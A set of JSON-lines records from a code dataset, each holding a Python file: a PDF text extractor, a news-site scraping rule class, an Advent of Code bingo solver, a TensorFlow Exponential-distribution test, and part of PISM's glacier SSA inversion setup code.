{"seq_id":"16889498912","text":"import fitz\n\n\ndef open_PDF(path):\n    return fitz.open(path)\n\n\ndef get_pdf_pages(fitz_PDF):\n    \"\"\"Get all pages and text (from fitz PDF document)\"\"\"\n    result = []\n    pdf_pages = []\n    for page in fitz_PDF:\n        result.append(page.getText(\"text\"))\n        pdf_pages.append(page)\n    return {\"pdf_text\":result, \"pdf_pages\":pdf_pages}\n","repo_name":"freQuensy23-coder/APrint","sub_path":"Classes_and_Func/PDF_Opener.py","file_name":"PDF_Opener.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"11615266945","text":"from analyzer.baseclass import BaseClass\nfrom rule_ye import solution\nfrom bs4 import BeautifulSoup\nfrom rule_ye import GetHTMLText,GetTitleUrl,GetContent,GetWebsite,GetKeyWords,GetImg2md5,GetClassify,GetDate,GetImgUrl,GetSource,GetTitle,GetUrl2md5\nfrom rule_ye import solution1\n\n\nclass chinaqw(BaseClass):\n    def __init__(self,url_md5 = None,content = None,url = None):\n        super(BaseClass,self).__init__()\n        self.url_md5 = url_md5\n        self.title_url = url\n        self.content = content\n        self.analyse_rule = {\n            'GetTitle': ['.blueb','.content h1', 'span.105w', 'p[align=\"center\"]','.banner_pic','head title'],\n            'GetDate': ['.left-t', 'div[align=\"center\"]','.info'],\n            'GetSource': ['.left-t a', \"中国侨网\"],\n            'GetClassify': ['.qw_listmbx', 'td[width=\"261\"]','a[href=\"/index.shtml\"]'],\n            'GetContent': ['.content', '.old', 'div[align=\"left\"]','#alldiv','p'],\n            'GetImgUrl': ['.content','.old','#alldiv'],\n            'GetWebsite': '中国侨网',\n            'GetKeyWords': None,\n            'GetAuthor':['.editor','.editors','编辑']\n        }\n\n    def analyze(self):\n        return solution(self.url_md5,self.title_url,self.content,self.analyse_rule)\n\nif __name__ == '__main__':\n    url = \"http://www.chinaqw.com/hqhr/hrdt/200908/30/178029.shtml\"\n    soup = BeautifulSoup(GetHTMLText(url), 'html.parser')\n    a = chinaqw()\n    #print(GetClassify(soup,a.analyse_rule['GetClassify']))\n    #print(GetTitle(soup,a.analyse_rule['GetTitle']))\n    #print(GetDate(soup,a.analyse_rule['GetDate']))\n    print(solution1('1',url,a.analyse_rule))\n    #print(GetSource(soup,a.analyse_rule['GetSource']))","repo_name":"MrYxJ/Work_In_Library_Code","sub_path":"analyzer_old/chinaqw_com.py","file_name":"chinaqw_com.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12981152101","text":"#!/usr/local/bin/python3\n\nimport sys\n\ndef bingo(board):\n    for i in range(5):\n        a = ''.join(board[i*5:i*5+5])\n        b = ''.join([board[i + j*5] for j in range(5)])\n        if  a == '.....' or b == '.....':\n            return True\n    return False\n\nif __name__ == '__main__':\n    ifile = sys.argv[1] if len(sys.argv) > 1 else 'test.txt'\n\n    with open(ifile) as fin:\n        lines = ((\"\\n\" + fin.read().strip()).split('\\n\\n'))\n\n    numbers, *boards = lines\n    numbers = list(numbers.strip().split(','))\n\n    B = []\n    for b in boards:\n        B.append(''.join(b.replace('\\n',' ')).split())\n    W = [False for _ in range(len(B))]\n    first = 0\n    last = 0\n\n    for n in numbers:\n        for i in range(len(B)):\n            if W[i]:\n                continue\n            for j in range(len(B[i])):\n                if B[i][j] == n:\n                    B[i][j] = '.'\n            if bingo(B[i]):\n                print(f'Bingo for board {i}')\n                W[i] = True\n                s = int(n) * sum([int(x) for x in B[i] if x != '.'])\n                if first == 0:\n                    first = s\n                last = s\n                continue\n\n    print(\"------------- A -------------\")\n    print(f'First {first}')\n    print(\"------------- B -------------\")\n    print(f'Last {last}')\n    print(\"-----------------------------\")\n","repo_name":"mortenjc/aoc2022","sub_path":"2021/day04/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"4003758684","text":"import importlib\n\nimport numpy as np\n\nfrom tensorflow.python.eager import backprop\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import test_util\nfrom tensorflow.python.ops import nn_ops\nfrom tensorflow.python.ops.distributions import exponential as exponential_lib\nfrom tensorflow.python.platform import test\nfrom tensorflow.python.platform import tf_logging\n\n\ndef try_import(name):  # pylint: disable=invalid-name\n  module = None\n  try:\n    module = importlib.import_module(name)\n  except ImportError as e:\n    tf_logging.warning(\"Could not import %s: %s\" % (name, str(e)))\n  return module\n\n\nstats = try_import(\"scipy.stats\")\n\n\n@test_util.run_all_in_graph_and_eager_modes\nclass ExponentialTest(test.TestCase):\n\n  def testExponentialLogPDF(self):\n    batch_size = 6\n    lam = constant_op.constant([2.0] * batch_size)\n    lam_v = 2.0\n    x = np.array([2.5, 2.5, 4.0, 0.1, 1.0, 2.0], dtype=np.float32)\n    exponential = exponential_lib.Exponential(rate=lam)\n\n    log_pdf = exponential.log_prob(x)\n    self.assertEqual(log_pdf.get_shape(), (6,))\n\n    pdf = exponential.prob(x)\n    self.assertEqual(pdf.get_shape(), (6,))\n\n    if not stats:\n      return\n    expected_log_pdf = stats.expon.logpdf(x, scale=1 / lam_v)\n    self.assertAllClose(self.evaluate(log_pdf), expected_log_pdf)\n    self.assertAllClose(self.evaluate(pdf), np.exp(expected_log_pdf))\n\n  def testExponentialLogPDFBoundary(self):\n    # Check that Log PDF is finite at 0.\n    rate = np.array([0.1, 0.5, 1., 2., 5., 10.], dtype=np.float32)\n    exponential = exponential_lib.Exponential(rate=rate)\n    log_pdf = exponential.log_prob(0.)\n    self.assertAllClose(np.log(rate), self.evaluate(log_pdf))\n\n  def testExponentialCDF(self):\n    batch_size = 6\n    lam = constant_op.constant([2.0] * batch_size)\n    lam_v = 2.0\n    x = np.array([2.5, 2.5, 4.0, 0.1, 1.0, 2.0], dtype=np.float32)\n\n    exponential = exponential_lib.Exponential(rate=lam)\n\n    cdf = exponential.cdf(x)\n    self.assertEqual(cdf.get_shape(), (6,))\n\n    if not stats:\n      return\n    expected_cdf = stats.expon.cdf(x, scale=1 / lam_v)\n    self.assertAllClose(self.evaluate(cdf), expected_cdf)\n\n  def testExponentialLogSurvival(self):\n    batch_size = 7\n    lam = constant_op.constant([2.0] * batch_size)\n    lam_v = 2.0\n    x = np.array([2.5, 2.5, 4.0, 0.1, 1.0, 2.0, 10.0], dtype=np.float32)\n\n    exponential = exponential_lib.Exponential(rate=lam)\n\n    log_survival = exponential.log_survival_function(x)\n    self.assertEqual(log_survival.get_shape(), (7,))\n\n    if not stats:\n      return\n    expected_log_survival = stats.expon.logsf(x, scale=1 / lam_v)\n    self.assertAllClose(self.evaluate(log_survival), expected_log_survival)\n\n  def testExponentialMean(self):\n    lam_v = np.array([1.0, 4.0, 2.5])\n    exponential = exponential_lib.Exponential(rate=lam_v)\n    self.assertEqual(exponential.mean().get_shape(), (3,))\n    if not stats:\n      return\n    expected_mean = stats.expon.mean(scale=1 / lam_v)\n    self.assertAllClose(self.evaluate(exponential.mean()), expected_mean)\n\n  def testExponentialVariance(self):\n    lam_v = np.array([1.0, 4.0, 2.5])\n    exponential = exponential_lib.Exponential(rate=lam_v)\n    self.assertEqual(exponential.variance().get_shape(), (3,))\n    if not stats:\n      return\n    expected_variance = stats.expon.var(scale=1 / lam_v)\n    self.assertAllClose(\n        self.evaluate(exponential.variance()), expected_variance)\n\n  def testExponentialEntropy(self):\n    lam_v = np.array([1.0, 4.0, 2.5])\n    exponential = exponential_lib.Exponential(rate=lam_v)\n    self.assertEqual(exponential.entropy().get_shape(), (3,))\n    if not stats:\n      return\n    expected_entropy = stats.expon.entropy(scale=1 / lam_v)\n    self.assertAllClose(self.evaluate(exponential.entropy()), expected_entropy)\n\n  def testExponentialSample(self):\n    lam = constant_op.constant([3.0, 4.0])\n    lam_v = [3.0, 4.0]\n    n = constant_op.constant(100000)\n    exponential = exponential_lib.Exponential(rate=lam)\n\n    samples = exponential.sample(n, seed=137)\n    sample_values = self.evaluate(samples)\n    self.assertEqual(sample_values.shape, (100000, 2))\n    self.assertFalse(np.any(sample_values < 0.0))\n    if not stats:\n      return\n    for i in range(2):\n      self.assertLess(\n          stats.kstest(sample_values[:, i],\n                       stats.expon(scale=1.0 / lam_v[i]).cdf)[0], 0.01)\n\n  def testExponentialSampleMultiDimensional(self):\n    batch_size = 2\n    lam_v = [3.0, 22.0]\n    lam = constant_op.constant([lam_v] * batch_size)\n\n    exponential = exponential_lib.Exponential(rate=lam)\n\n    n = 100000\n    samples = exponential.sample(n, seed=138)\n    self.assertEqual(samples.get_shape(), (n, batch_size, 2))\n\n    sample_values = self.evaluate(samples)\n\n    self.assertFalse(np.any(sample_values < 0.0))\n    if not stats:\n      return\n    for i in range(2):\n      self.assertLess(\n          stats.kstest(sample_values[:, 0, i],\n                       stats.expon(scale=1.0 / lam_v[i]).cdf)[0], 0.01)\n      self.assertLess(\n          stats.kstest(sample_values[:, 1, i],\n                       stats.expon(scale=1.0 / lam_v[i]).cdf)[0], 0.01)\n\n  def testFullyReparameterized(self):\n    lam = constant_op.constant([0.1, 1.0])\n    with backprop.GradientTape() as tape:\n      tape.watch(lam)\n      exponential = exponential_lib.Exponential(rate=lam)\n      samples = exponential.sample(100)\n    grad_lam = tape.gradient(samples, lam)\n    self.assertIsNotNone(grad_lam)\n\n  def testExponentialWithSoftplusRate(self):\n    lam = [-2.2, -3.4]\n    exponential = exponential_lib.ExponentialWithSoftplusRate(rate=lam)\n    self.assertAllClose(\n        self.evaluate(nn_ops.softplus(lam)), self.evaluate(exponential.rate))\n\n\nif __name__ == \"__main__\":\n  test.main()\n","repo_name":"tensorflow/tensorflow","sub_path":"tensorflow/python/kernel_tests/distributions/exponential_test.py","file_name":"exponential_test.py","file_ext":"py","file_size_in_byte":5745,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"}
{"seq_id":"37013606798","text":"import PISM\nimport math\n\nfrom PISM.logging import logMessage\n\nclass SSAForwardRun(PISM.ssa.SSARun):\n\n    \"\"\"Subclass of :class:`PISM.ssa.SSAFromInputFile` where the underlying SSA implementation is an\n    :cpp:class:`IP_SSATaucForwardProblem` or :cpp:class:`IP_SSAHardavForwardProblem`.\n    It is responsible for putting together a :class:`PISM.model.ModelData` containing the auxilliary data\n    needed for solving the SSA (:cpp:class:`IceModelVec`'s, :cpp:class:`EnthalpyConverter`, etc.) as well\n    as the instance of :cpp:class:`IP_SSATaucForwardProblem` that will solve the SSA repeatedly in the course\n    of solving an inverse problem.  This class is intended to be subclassed by test cases where the data\n    is not provided from an input file.  See also :class:`SSAForwardRunFromInputFile`.\"\"\"\n\n    def __init__(self, design_var):\n        PISM.ssa.SSARun.__init__(self)\n        assert(design_var in list(ssa_forward_problems.keys()))\n        self.grid = None\n        self.config = PISM.Context().config\n        self.design_var = design_var\n        self.design_var_param = createDesignVariableParam(self.config, self.design_var)\n        self.is_regional = False\n\n    def designVariable(self):\n        \"\"\":returns: String description of the design variable of the forward problem (e.g. 'tauc' or 'hardness')\"\"\"\n        return self.design_var\n\n    def designVariableParameterization(self):\n        \"\"\":returns: Object that performs zeta->design variable transformation.\"\"\"\n        return self.design_var_param\n\n    def _setFromOptions(self):\n        \"\"\"Initialize internal parameters based on command-line flags. Called from :meth:`PISM.ssa.SSARun.setup`.\"\"\"\n        self.is_regional = PISM.OptionBool(\"-regional\", \"regional mode\")\n\n    def _constructSSA(self):\n        \"\"\"Returns an instance of :cpp:class:`IP_SSATaucForwardProblem` rather than\n           a basic :cpp:class:`SSAFEM` or :cpp:class:`SSAFD`. Called from :meth:`PISM.ssa.SSARun.setup`.\"\"\"\n        md = self.modeldata\n        return createSSAForwardProblem(md.grid, md.enthalpyconverter, self.design_var_param, self.design_var)\n\n    def _initSSA(self):\n        \"\"\"One-time initialization of the :cpp:class:`IP_SSATaucForwardProblem`. Called from :meth:`PISM.ssa.SSARun.setup`.\"\"\"\n        # init() will cache the values of the coefficeints at\n        # quadrature points once here. Subsequent solves will then not\n        # need to cache these values.\n        self.ssa.init()\n\n\nclass SSAForwardRunFromInputFile(SSAForwardRun):\n\n    \"\"\"Subclass of :class:`SSAForwardRun` where the vector data\n    for the run is provided in an input :file:`.nc` file.\"\"\"\n\n    def __init__(self, input_filename, inv_data_filename, design_var):\n        \"\"\"\n        :param input_filename:    :file:`.nc` file containing generic PISM model data.\n        :param inv_data_filename: :file:`.nc` file containing data specific to inversion (e.g. observed SSA velocities).\n        \"\"\"\n        SSAForwardRun.__init__(self, design_var)\n        self.input_filename = input_filename\n        self.inv_data_filename = inv_data_filename\n\n    def _initGrid(self):\n        \"\"\"Initialize grid size and periodicity. Called from :meth:`PISM.ssa.SSARun.setup`.\"\"\"\n\n        if self.is_regional:\n            registration = PISM.CELL_CORNER\n        else:\n            registration = PISM.CELL_CENTER\n\n        ctx = PISM.Context().ctx\n\n        pio = PISM.File(ctx.com(), self.input_filename, PISM.PISM_NETCDF3, PISM.PISM_READONLY)\n        self.grid = PISM.IceGrid.FromFile(ctx, pio, \"enthalpy\", registration)\n        pio.close()\n\n    def _initPhysics(self):\n        \"\"\"Override of :meth:`SSARun._initPhysics` that sets the physics based on command-line flags.\"\"\"\n        config = self.config\n\n        enthalpyconverter = PISM.EnthalpyConverter(config)\n\n        if PISM.OptionBool(\"-ssa_glen\", \"SSA flow law Glen exponent\"):\n            config.set_string(\"stress_balance.ssa.flow_law\", \"isothermal_glen\")\n            config.scalar_from_option(\"flow_law.isothermal_Glen.ice_softness\", \"ice_softness\")\n        else:\n            config.set_string(\"stress_balance.ssa.flow_law\", \"gpbld\")\n\n        self.modeldata.setPhysics(enthalpyconverter)\n\n    def _initSSACoefficients(self):\n        \"\"\"Reads SSA coefficients from the input file. Called from :meth:`PISM.ssa.SSARun.setup`.\"\"\"\n        self._allocStdSSACoefficients()\n\n        # Read PISM SSA related state variables\n        #\n        # Hmmm.  A lot of code duplication with SSAFromInputFile._initSSACoefficients.\n\n        vecs = self.modeldata.vecs\n        thickness = vecs.land_ice_thickness\n        bed = vecs.bedrock_altitude\n        enthalpy = vecs.enthalpy\n        mask = vecs.mask\n        surface = vecs.surface_altitude\n        sea_level = vecs.sea_level\n\n        sea_level.set(0.0)\n\n        # Read in the PISM state variables that are used directly in the SSA solver\n        for v in [thickness, bed, enthalpy]:\n            v.regrid(self.input_filename, True)\n\n        # variables mask and surface are computed from the geometry previously read\n\n        gc = PISM.GeometryCalculator(self.config)\n        gc.compute(sea_level, bed, thickness, mask, surface)\n\n        grid = self.grid\n        config = self.modeldata.config\n\n        # Compute yield stress from PISM state variables\n        # (basal melt rate, tillphi, and basal water height) if they are available\n\n        file_has_inputs = (PISM.util.fileHasVariable(self.input_filename, 'bmelt') and\n                           PISM.util.fileHasVariable(self.input_filename, 'tillwat') and\n                           PISM.util.fileHasVariable(self.input_filename, 'tillphi'))\n\n        if file_has_inputs:\n            bmr = PISM.model.createBasalMeltRateVec(grid)\n            tillphi = PISM.model.createTillPhiVec(grid)\n            tillwat = PISM.model.createBasalWaterVec(grid)\n            for v in [bmr, tillphi, tillwat]:\n                v.regrid(self.input_filename, True)\n                vecs.add(v)\n\n            # The SIA model might need the age field.\n            if self.config.get_flag(\"age.enabled\"):\n                vecs.age.regrid(self.input_filename, True)\n\n            hydrology_model = config.get_string(\"hydrology.model\")\n            if hydrology_model == \"null\":\n                subglacial_hydrology = PISM.NullTransportHydrology(grid)\n            elif hydrology_model == \"routing\":\n                subglacial_hydrology = PISM.RoutingHydrology(grid)\n            elif hydrology_model == \"distributed\":\n                subglacial_hydrology = PISM.DistributedHydrology(grid)\n\n            if self.is_regional:\n                yieldstress = PISM.RegionalDefaultYieldStress(self.modeldata.grid, subglacial_hydrology)\n            else:\n                yieldstress = PISM.MohrCoulombYieldStress(self.modeldata.grid, subglacial_hydrology)\n\n            # make sure vecs is locked!\n            subglacial_hydrology.init()\n            yieldstress.init()\n\n            yieldstress.basal_material_yield_stress(vecs.tauc)\n        elif PISM.util.fileHasVariable(self.input_filename, 'tauc'):\n            vecs.tauc.regrid(self.input_filename, critical=True)\n\n        if PISM.util.fileHasVariable(self.input_filename, 'ssa_driving_stress_x'):\n            vecs.add(PISM.model.createDrivingStressXVec(self.grid))\n            vecs.ssa_driving_stress_x.regrid(self.input_filename, critical=True)\n\n        if PISM.util.fileHasVariable(self.input_filename, 'ssa_driving_stress_y'):\n            vecs.add(PISM.model.createDrivingStressYVec(self.grid))\n            vecs.ssa_driving_stress_y.regrid(self.input_filename, critical=True)\n\n        # read in the fractional floatation mask\n        vecs.add(PISM.model.createGroundingLineMask(self.grid))\n        vecs.gl_mask.regrid(self.input_filename, critical=False, default_value=0.0)  # set to zero if not found\n\n        if self.is_regional:\n            vecs.add(PISM.model.createNoModelMaskVec(self.grid), 'no_model_mask')\n            vecs.no_model_mask.regrid(self.input_filename, True)\n            vecs.add(vecs.surface_altitude, 'usurfstore')\n\n        if self.config.get_flag('stress_balance.ssa.dirichlet_bc'):\n            vecs.add(PISM.model.create2dVelocityVec(self.grid, name='_bc', desc='SSA velocity boundary condition', intent='intent'), \"vel_bc\")\n            has_u_bc = PISM.util.fileHasVariable(self.input_filename, 'u_bc')\n            has_v_bc = PISM.util.fileHasVariable(self.input_filename, 'v_bc')\n            if (not has_u_bc) or (not has_v_bc):\n                PISM.verbPrintf(2, self.grid.com, \"Input file '%s' missing Dirichlet boundary data u/v_bc; using zero default instead.\" % self.input_filename)\n                vecs.vel_bc.set(0.)\n            else:\n                vecs.vel_bc.regrid(self.input_filename, True)\n\n            if self.is_regional:\n                vecs.add(vecs.no_model_mask, 'vel_bc_mask')\n            else:\n                vecs.add(PISM.model.createBCMaskVec(self.grid), 'vel_bc_mask')\n                bc_mask_name = vecs.vel_bc_mask.metadata().get_string(\"short_name\")\n                if PISM.util.fileHasVariable(self.input_filename, bc_mask_name):\n                    vecs.vel_bc_mask.regrid(self.input_filename, True)\n                else:\n                    PISM.verbPrintf(2, self.grid.com, \"Input file '%s' missing Dirichlet location mask '%s'.  Default to no Dirichlet locations.\" % (self.input_filename, bc_mask_name))\n                    vecs.vel_bc_mask.set(0)\n\n        if PISM.util.fileHasVariable(self.inv_data_filename, 'vel_misfit_weight'):\n            vecs.add(PISM.model.createVelocityMisfitWeightVec(self.grid))\n            vecs.vel_misfit_weight.regrid(self.inv_data_filename, True)\n\n\nclass InvSSASolver(object):\n\n    \"\"\"Abstract base class for SSA inverse problem solvers.\"\"\"\n\n    def __init__(self, ssarun, method):\n        \"\"\"\n        :param ssarun: The :class:`PISM.invert.ssa.SSAForwardRun` defining the forward problem.\n        :param method: String describing the actual algorithm to use. Must be a key in :attr:`tao_types`.\"\"\"\n\n        self.ssarun = ssarun\n        self.config = ssarun.config\n        self.method = method\n\n    def solveForward(self, zeta, out=None):\n        r\"\"\"Given a parameterized design variable value :math:`\\zeta`, solve the SSA.\n        See :cpp:class:`IP_TaucParam` for a discussion of parameterizations.\n\n        :param zeta: :cpp:class:`IceModelVec` containing :math:`\\zeta`.\n        :param out: optional :cpp:class:`IceModelVec` for storage of the computation result.\n        :returns: An :cpp:class:`IceModelVec` contianing the computation result.\n        \"\"\"\n        raise NotImplementedError()\n\n    def addIterationListener(self, listener):\n        \"\"\"Add a listener to be called after each iteration.  See :ref:`Listeners`.\"\"\"\n        raise NotImplementedError()\n\n    def addDesignUpdateListener(self, listener):\n        \"\"\"Add a listener to be called after each time the design variable is changed.\"\"\"\n        raise NotImplementedError()\n\n    def solveInverse(self, zeta0, u_obs, zeta_inv):\n        r\"\"\"Executes the inversion algorithm.\n\n        :param zeta0: The best `a-priori` guess for the value of the parameterized design variable :math:`\\zeta`.\n        :param u_obs: :cpp:class:`IceModelVec2V` of observed surface velocities.\n        :param zeta_inv: :cpp:class:`zeta_inv` starting value of :math:`\\zeta` for minimization of the Tikhonov functional.\n        :returns: A :cpp:class:`TerminationReason`.\n        \"\"\"\n        raise NotImplementedError()\n\n    def inverseSolution(self):\n        \"\"\"Returns a tuple ``(zeta, u)`` of :cpp:class:`IceModelVec`'s corresponding to the values\n        of the design and state variables at the end of inversion.\"\"\"\n        raise NotImplementedError()\n\n\ndef createInvSSASolver(ssarun, method=None):\n    \"\"\"Factory function returning an inverse solver appropriate for the config variable ``inverse.ssa.method``.\n\n    :param ssarun: an instance of :class:`SSAForwardRun:` or :class:`SSAForwardRunFromInputFile`.\n    :param method: a string correpsonding to config variable ``inverse.ssa.method`` describing the inversion method to be used.\n    \"\"\"\n    if method is None:\n        method = ssarun.config.get_string('inverse.ssa.method')\n    if method == 'tikhonov_gn':\n        from PISM.invert import ssa_gn\n        return ssa_gn.InvSSASolver_TikhonovGN(ssarun, method)\n    elif method.startswith('tikhonov'):\n        try:\n            from PISM.invert import ssa_tao\n            return ssa_tao.InvSSASolver_Tikhonov(ssarun, method)\n        except ImportError:\n            raise RuntimeError(\"Inversion method '%s' requires the TAO library.\" % method)\n\n    if method == 'sd' or method == 'nlcg' or method == 'ign':\n        try:\n            from PISM.invert import ssa_siple\n            return ssa_siple.InvSSASolver_Gradient(ssarun, method)\n        except ImportError:\n            raise RuntimeError(\"Inversion method '%s' requires the siple python library.\" % method)\n\n    raise Exception(\"Unknown inverse method '%s'; unable to construct solver.\", method)\n\n\ndesign_param_types = {\"ident\": PISM.IPDesignVariableParamIdent,\n                      \"square\": PISM.IPDesignVariableParamSquare,\n                      \"exp\": PISM.IPDesignVariableParamExp,\n                      \"trunc\": PISM.IPDesignVariableParamTruncatedIdent}\n\n\ndef createDesignVariableParam(config, design_var_name, param_name=None):\n    \"\"\"Factory function for creating subclasses of :cpp:class:`IPDesignVariableParameterization` based on command-line flags.\"\"\"\n    if param_name is None:\n        param_name = config.get_string(\"inverse.design.param\")\n    design_param = design_param_types[param_name]()\n    design_param.set_scales(config, design_var_name)\n    return design_param\n\nssa_forward_problems = {'tauc': PISM.IP_SSATaucForwardProblem,\n                        'hardav': PISM.IP_SSAHardavForwardProblem}\n\n\ndef createSSAForwardProblem(grid, ec, design_param, design_var):\n    \"\"\"Returns an instance of an SSA forward problem (e.g. :cpp:class:`IP_SSATaucForwardProblem`)\n    suitable for the value of `design_var`\"\"\"\n    ForwardProblem = ssa_forward_problems[design_var]\n    if ForwardProblem is None:\n        raise RuntimeError(\"Design variable %s is not yet supported.\", design_var)\n\n    return ForwardProblem(grid, design_param)\n\n\ndef createGradientFunctionals(ssarun):\n    \"\"\"Returns a tuple ``(designFunctional,stateFunctional)`` of :cpp:class:`IP_IPFunctional`'s\n    for gradient-based inversions.  The specific functionals are constructed on the basis of\n    command-line parameters ``inverse.state_func`` and ``inverse.design.func``.\n\n    :param ssarun: The instance of :class:`PISM.ssa.SSARun` that encapsulates the forward problem,\n                   typically a :class:`SSAForwardRunFromFile`.\n    \"\"\"\n\n    vecs = ssarun.modeldata.vecs\n    grid = ssarun.grid\n\n    useGroundedIceOnly = PISM.OptionBool(\"-inv_ssa_grounded_ice_tauc\",\n                                         \"Computed norms for tau_c only on elements with all grounded ice.\")\n\n    misfit_type = grid.ctx().config().get_string(\"inverse.state_func\")\n    if misfit_type != 'meansquare':\n        inv_method = grid.ctx().config().get_string(\"inverse.ssa.method\")\n        raise Exception(\"'-inv_state_func %s' is not supported with '-inv_method %s'.\\nUse '-inv_state_func meansquare' instead\" % (misfit_type, inv_method))\n\n    design_functional = grid.ctx().config().get_string(\"inverse.design.func\")\n    if design_functional != \"sobolevH1\":\n        inv_method = grid.ctx().config().get_string(\"inverse.ssa.method\")\n        raise Exception(\"'-inv_design_func %s' is not supported with '-inv_method %s'.\\nUse '-inv_design_func sobolevH1' instead\" % (design_functional, inv_method))\n\n    designFunctional = createHilbertDesignFunctional(grid, vecs, useGroundedIceOnly)\n\n    stateFunctional = createMeanSquareMisfitFunctional(grid, vecs)\n\n    return (designFunctional, stateFunctional)\n\n\ndef createTikhonovFunctionals(ssarun):\n    \"\"\"Returns a tuple ``(designFunctional,stateFunctional)`` of :cpp:class:`IP_Functional`'s\n    for Tikhonov-based inversions.  The specific functionals are constructed on the basis of\n    command-line parameters ``inv_state_func`` and ``inv_design_func``.\n\n    :param ssarun: The instance of :class:`PISM.ssa.SSARun` that encapsulates the forward problem,\n                   typically a :class:`SSATaucForwardRunFromFile`.\n  \"\"\"\n    vecs = ssarun.modeldata.vecs\n    grid = ssarun.grid\n\n    ctx = grid.ctx()\n    config = ctx.config()\n    sys = ctx.unit_system()\n\n    useGroundedIceOnly = PISM.OptionBool(\"-inv_ssa_grounded_ice_tauc\",\n                                         \"Computed norms for tau_c only on elements with all grounded ice.\")\n\n    misfit_type = config.get_string(\"inverse.state_func\")\n    if misfit_type == \"meansquare\":\n        stateFunctional = createMeanSquareMisfitFunctional(grid, vecs)\n    elif misfit_type == \"log_ratio\":\n        vel_ssa_observed = vecs.vel_ssa_observed\n        scale = config.get_number(\"inverse.log_ratio_scale\")\n        velocity_eps = config.get_number(\"inverse.ssa.velocity_eps\", \"m/second\")\n        misfit_weight = None\n        if vecs.has('vel_misfit_weight'):\n            misfit_weight = vecs.vel_misfit_weight\n        stateFunctional = PISM.IPLogRatioFunctional(grid, vel_ssa_observed, velocity_eps, misfit_weight)\n        stateFunctional.normalize(scale)\n    elif misfit_type == \"log_relative\":\n        vel_ssa_observed = vecs.vel_ssa_observed\n        velocity_scale = config.get_number(\"inverse.ssa.velocity_scale\", \"m/second\")\n        velocity_eps = config.get_number(\"inverse.ssa.velocity_eps\", \"m/second\")\n        misfit_weight = None\n        if vecs.has('vel_misfit_weight'):\n            misfit_weight = vecs.vel_misfit_weight\n        stateFunctional = PISM.IPLogRelativeFunctional(grid, vel_ssa_observed, velocity_eps, misfit_weight)\n        stateFunctional.normalize(velocity_scale)\n    else:\n        raise RuntimeError(\"Unknown inv_state_func '%s'; unable to construct solver.\", misfit_type)\n\n    design_functional = config.get_string(\"inverse.design.func\")\n    if design_functional == \"sobolevH1\":\n        designFunctional = createHilbertDesignFunctional(grid, vecs, useGroundedIceOnly)\n    elif design_functional == \"tv\":\n        area = 4 * grid.Lx() * grid.Ly()\n        velocity_scale = config.get_number(\"inverse.ssa.velocity_scale\", \"m/second\")\n        length_scale = config.get_number(\"inverse.ssa.length_scale\")\n        lebesgue_exponent = config.get_number(\"inverse.ssa.tv_exponent\")\n        cTV = 1 / area\n        cTV *= (length_scale) ** (lebesgue_exponent)\n\n        zeta_fixed_mask = None\n        if vecs.has('zeta_fixed_mask'):\n            zeta_fixed_mask = vecs.zeta_fixed_mask\n\n        strain_rate_eps = PISM.OptionReal(sys, \"-inv_ssa_tv_eps\",\n                                          \"regularization constant for 'total variation' functional\",\n                                          \"1 / m\",\n                                          0.0)\n        if not strain_rate_eps.is_set():\n            schoofLen = config.get_number(\"flow_law.Schoof_regularizing_length\", \"m\")\n            strain_rate_eps = 1 / schoofLen\n        else:\n            strain_rate_eps = strain_rate_eps.value()\n\n        designFunctional = PISM.IPTotalVariationFunctional2S(grid, cTV, lebesgue_exponent, strain_rate_eps, zeta_fixed_mask)\n    else:\n        raise Exception(\"Unknown inv_design_func '%s'; unable to construct solver.\" % design_functional)\n\n    return (designFunctional, stateFunctional)\n\n\ndef createMeanSquareMisfitFunctional(grid, vecs):\n    \"\"\"Creates a :cpp:class:`IPMeanSquareFunctional2V` suitable for use for a\n    state variable function for SSA inversions.\"\"\"\n\n    misfit_weight = None\n    if vecs.has('vel_misfit_weight'):\n        misfit_weight = vecs.vel_misfit_weight\n\n    velocity_scale = grid.ctx().config().get_number(\"inverse.ssa.velocity_scale\", \"m/second\")\n    stateFunctional = PISM.IPMeanSquareFunctional2V(grid, misfit_weight)\n    stateFunctional.normalize(velocity_scale)\n    return stateFunctional\n\n\ndef createHilbertDesignFunctional(grid, vecs, useGroundedIceOnly):\n    \"\"\"Creates a :cpp:class:`IP_H1NormFunctional2S` or a :cpp:class`IPGroundedIceH1NormFunctional2S` suitable\n    for use for a design variable functional.\n\n    :param grid: computation grid\n    :param vecs: model vecs\n    :param useGroundedIceOnly: flag, ``True`` if a :cpp:class`IPGroundedIceH1NormFunctional2S` should be created.\n  \"\"\"\n    cL2 = grid.ctx().config().get_number(\"inverse.design.cL2\")\n    cH1 = grid.ctx().config().get_number(\"inverse.design.cH1\")\n\n    area = 4 * grid.Lx() * grid.Ly()\n    length_scale = grid.ctx().config().get_number(\"inverse.ssa.length_scale\")\n    cL2 /= area\n    cH1 /= area\n    cH1 *= (length_scale * length_scale)\n\n    zeta_fixed_mask = None\n    if vecs.has('zeta_fixed_mask'):\n        zeta_fixed_mask = vecs.zeta_fixed_mask\n\n    if useGroundedIceOnly:\n        mask = vecs.mask\n        designFunctional = PISM.IPGroundedIceH1NormFunctional2S(grid, cL2, cH1, mask, zeta_fixed_mask)\n    else:\n        designFunctional = PISM.IP_H1NormFunctional2S(grid, cL2, cH1, zeta_fixed_mask)\n\n    return designFunctional\n\n\ndef printIteration(invssa_solver, it, data):\n    \"Print a header for an iteration report.\"\n    logMessage(\"----------------------------------------------------------\\n\")\n    logMessage(\"Iteration %d\\n\" % it)\n\n\ndef printTikhonovProgress(invssasolver, it, data):\n    \"Report on the progress of a Tikhonov iteration.\"\n    eta = data.tikhonov_penalty\n    stateVal = data.JState\n    designVal = data.JDesign\n    sWeight = 1\n    dWeight = 1.0 / eta\n\n    norm_type = PISM.PETSc.NormType.NORM_2\n\n    logMessage(\"design objective %.8g; weighted %.8g\\n\" % (designVal, designVal * dWeight))\n    if 'grad_JTikhonov' in data:\n        logMessage(\"gradient: design %.8g state %.8g sum %.8g\\n\" % 